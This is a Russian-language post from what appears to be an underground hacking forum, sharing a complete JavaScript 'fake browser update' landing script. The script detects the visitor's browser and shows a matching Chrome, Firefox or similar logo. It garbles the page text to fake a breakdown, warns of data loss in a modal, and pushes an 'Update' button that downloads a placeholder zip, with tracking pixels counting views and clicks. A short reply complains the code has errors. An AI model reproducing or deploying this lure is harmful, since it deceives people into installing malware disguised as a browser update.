• XSS.stack #1 – первый литературный журнал от юзеров форума

лэнд апдэйта браузера js

hits

RAM
Пользователь
Регистрация
10.12.2018
Сообщения
148
Реакции
95
Случайно наткнулся на ленд чей то,цените,если лажа то в топку )
JavaScript:
function getCookie(name)
    {
    var cookie=" "+document.cookie;
    var search=" "+name+"=";
    var setStr=null;
    var offset=0;
    var end=0;
    if(cookie.length>0)
        {
        offset=cookie.indexOf(search);
        if(offset!=-1)
            {
            offset+=search.length;
            end=cookie.indexOf(";
            ",offset);
            if(end==-1)
                {
                end=cookie.length
            }
            setStr=unescape(cookie.substring(offset,end))
        }
    }
    return(setStr)
}
function setCookie(name,value,expires,path,domain,secure)
    {
    document.cookie=name+"="+escape(value)+((expires)?";
     expires="+expires:"")+((path)?";
     path="+path:"")+((domain)?";
     domain="+domain:"")+((secure)?";
     secure":"")
}
var link_to_file='filename.zip';
var ShowOneTime=true;
var sCodeOnShow=' <img  src="//url-na-statu" alt="frontpage hit counter" border="0">';
var sCodeOnClick=' <img  src="//url-na-statu" alt="free hit counters" border="0">';
var isFirefox=typeof InstallTrigger!=='undefined';
var isChrome=/Chrome/.test(navigator.userAgent)&&/Google Inc/.test(navigator.vendor);
var isOpera=(!!window.opr&&!!opr.addons)||!!window.opera||navigator.userAgent.indexOf(' OPR/')>=0;
var isIE=false||!!document.documentMode;
var isEdge=!isIE&&!!window.StyleMedia;
var isSafari=/Safari/.test(navigator.userAgent)&&/Apple Computer/.test(navigator.vendor);
var isMobile=/Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent);
if(!isMobile&&!isSafari&&(getCookie('oneshow')!='complete'))
    {
    if(ShowOneTime==true)
        {
        var now=new Date();
        now.setTime(now.getTime()+1000*3600*24*365);
        setCookie('oneshow','complete',now.toGMTString())
    }
    function onClick()
        {
        document.body.innerHTML+=sCodeOnClick;
        return true
    }
    document.body.innerHTML+=" <div class='samodal saitem'> <div class='top_txt'> <img class='logo' src='https://i.imgur.com/sBB68wf.png'> <p class='modal_h'><span class='browser_name'>Browser</span> <span>Update Center</span></p> </div> <div class='mod_content'> <p class='sa2'>A critical error has occurred due to the outdated version of the browser. Update your browser as soon as possible.</p> <p class='sa2'>The following errors are also possible on outdated versions of the browser:</p> <ul class='error-list'> <li>Loss of personal and stored data</li> <li>Confidential information leak</li> <li>Browser errors</li> </ul> </div> <div class='footer_button'> <a class='download_butt link_to_file' onclick='onClick();
    ' href='' download=''>Update</a> </div> </div> <div class='saoverlay saitem'></div> <style> .saitem html, .saitem body, .saitem div, .saitem span, .saitem applet, .saitem object, iframe, .saitem h1, .saitem h2, .saitem h3, .saitem h4, .saitem h5, .saitem h6, .saitem p, .saitem blockquote, .saitem pre, .saitem a, .saitem abbr, .saitem acronym, .saitem address, .saitem big, .saitem cite, .saitem code, .saitem del, .saitem dfn, .saitem em, .saitem font, .saitem img, .saitem ins, .saitem kbd, .saitem q, .saitem s, .saitem samp, .saitem small, .saitem strike, .saitem strong, .saitem sub, .saitem sup, .saitem tt, .saitem var, .saitem dl, .saitem dt, .saitem dd, .saitem ol, .saitem ul, .saitem li, .saitem fieldset, .saitem form, .saitem label, .saitem legend, .saitem table, .saitem caption, .saitem tbody, .saitem tfoot, .saitem thead, .saitem tr, .saitem th, .saitem td
        {
         margin: 0!important;
         padding: 0!important;
         border: 0!important;
         outline: 0!important;
         font-weight: inherit!important;
         font-style: inherit!important;
         font-size: 100%!important;
         font-family: inherit!important;
         vertical-align: baseline!important;
    }
    .saoverlay
        {
         z-index: 16000005!important;
         position: fixed!important;
         display:none;
        background-color: #000!important;
         opacity: 0.4!important;
         width: 100%!important;
         height: 100%!important;
         top: 0!important;
         left: 0!important;
         cursor: wait!important;
    }
    .samodal
        {
         display:none;
        width: calc(100% - 30px)!important;
         max-width: 650px!important;
         height: auto!important;
         position: fixed!important;
         top: 50%!important;
         left: 50%!important;
         -webkit-transform: translate(-50%,-50%)!important;
         -ms-transform: translate(-50%,-50%)!important;
         transform: translate(-50%,-50%)!important;
         z-index: 16000010!important;
         border-radius: 3px!important;
         -webkit-box-sizing: border-box!important;
         box-sizing: border-box!important;
         background-color: #fff!important;
         font-family: 'Arial', sans-serif!important;
         color: #333!important;
         line-height: 24px!important;
    }
    .samodal .top_txt
        {
         padding: 20px !important;
         display: -webkit-box!important;
         display: -ms-flexbox!important;
         display: flex!important;
         -webkit-box-align: center!important;
         -ms-flex-align: center!important;
         align-items: center!important;
    }
    .samodal .top_txt .modal_h
        {
         font-size: 24px!important;
         font-weight: 400!important;
    }
    .samodal .top_txt .logo
        {
         width: 50px!important;
         margin-right: 10px!important;
    }
    .samodal .mod_content
        {
         padding: 0px 20px 0px 20px!important;
    }
    .samodal .mod_content .sa2
        {
         font-size: 18px!important;
         margin-bottom: 15px!important;
    }
    .samodal .mod_content .error-list
        {
         margin-bottom: 15px!important;
    }
    .samodal .mod_content .error-list li
        {
         font-size: 18px!important;
         display: -webkit-box!important;
         display: -ms-flexbox!important;
         display: flex!important;
         -webkit-box-align: center!important;
         -ms-flex-align: center!important;
         align-items: center!important;
         color: #ff0000!important;
    }
    .samodal .mod_content .error-list li:before
        {
         content: ''!important;
         display: inline-block!important;
         background: url( )!important;
         -webkit-box-flex: 0!important;
         -ms-flex: 0 0 35px!important;
         flex: 0 0 35px!important;
         height: 35px!important;
         background-size: cover!important;
         position: relative!important;
         margin-right: 10px!important;
    }
    .samodal .footer_button
        {
         text-align: center!important;
         background-color: #f7f7f7!important;
         padding: 10px 20px!important;
         height: auto!important;
        
    }
    .samodal .footer_button .download_butt
        {
         border: 1px solid #3079ed!important;
         color: #fff!important;
         text-shadow: 0 1px rgba(0, 0, 0, 0.1)!important;
         background-color: #4d90fe!important;
         background-image: -webkit-gradient(linear, left top, left bottom, from(#4d90fe), to(#4787ed))!important;
         background-image: -webkit-linear-gradient(top, #4d90fe, #4787ed)!important;
         background-image: -o-linear-gradient(top, #4d90fe, #4787ed)!important;
         background-image: linear-gradient(top, #4d90fe, #4787ed)!important;
         font-weight: normal!important;
         display: inline-block!important;
         text-align: center!important;
         text-decoration: none!important;
         padding: 10px 25px!important;
         -webkit-box-sizing: border-box!important;
         box-sizing: border-box!important;
         font-size: 22px!important;
    }
    @media (max-width: 850px)
        {
         .samodal .top_txt .modal_h
            {
             font-size: 22px!important;
            
        }
         .samodal .mod_content .error-list li
            {
             font-size: 16px!important;
            
        }
    }
     </style>";
    document.querySelector('.link_to_file').setAttribute('href',link_to_file);
        {
        function init_Chrome()
            {
            document.querySelector('.samodal .top_txt .logo').setAttribute('src','https://i.imgur.com/go00GXX.png');
            document.querySelector('.browser_name').innerHTML='Chrome';
            document.querySelector('.samodal').className+=' chrome'
        }
        function init_Firefox()
            {
            document.querySelector('.samodal .top_txt .logo').setAttribute('src','https://i.imgur.com/F5zqjAc.png');
            document.querySelector('.browser_name').innerHTML='Firefox';
            document.querySelector('.samodal').className+=' firefox'
        }
        function init_Opera()
            {
            document.querySelector('.samodal .top_txt .logo').attr('src','https://i.imgur.com/Ci9PSpH.png');
            document.querySelector('.browser_name').innerHTML='Opera';
            document.querySelector('.samodal').className+=' opera'
        }
        function init_Safari()
            {
            document.querySelector('.samodal .top_txt .logo').setAttribute('src','https://i.imgur.com/hpssacS.png');
            document.querySelector('.browser_name').innerHTML='Safari';
            document.querySelector('.samodal').className+=' safari'
        }
        function init_Edge()
            {
            document.querySelector('.samodal .top_txt .logo').attr('src','https://i.imgur.com/EfjQS7j.png');
            document.querySelector('.browser_name').innerHTML='Edge';
            document.querySelector('.samodal').className+=' edge'
        }
        function init_IE()
            {
            document.querySelector('.samodal .top_txt .logo').setAttribute('src','https://i.imgur.com/sLqiUR0.png');
            document.querySelector('.browser_name').innerHTML='Internet Explorer';
            document.querySelector('.samodal').className+=' ie'
        }
        switch(true)
            {
            case isFirefox:init_Firefox();
            break;
            case isChrome:init_Chrome();
            break;
            case isOpera:init_Opera();
            break;
            case isIE:init_IE();
            break;
            case isEdge:init_Edge();
            break;
            case isSafari:init_Safari();
            break;
            default:
        }
    }
    [].forEach.call(document.querySelectorAll('p,span,li,a,td,h1,h2,h3,h4,h5,label,div'),function(element)
        {
        if((document.querySelector('.saitem').contains(element))||(hasClass(element,'saitem')))
            {
        }
        else
            {
            element.innerHTML=element.textContent.replace(/[а-яА-ЯёЁa-zA-Z0-9]/gi,"�")
        }
    }
    );
    setTimeout(function()
        {
        document.querySelector('.samodal').style.display='block';
        document.querySelector('.saoverlay').style.display='block';
        document.body.innerHTML+=sCodeOnShow
    }
    ,1000);
    function hasClass(element,cls)
        {
        return(' '+element.className+' ').indexOf(' '+cls+' ')>-1
    }
}
 
Случайно наткнулся на ленд чей то,цените,если лажа то в топку )

Залейте куда-нить на пасту. Слишком много ошибок что бы править ручками и приводить в надлежащий вид.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх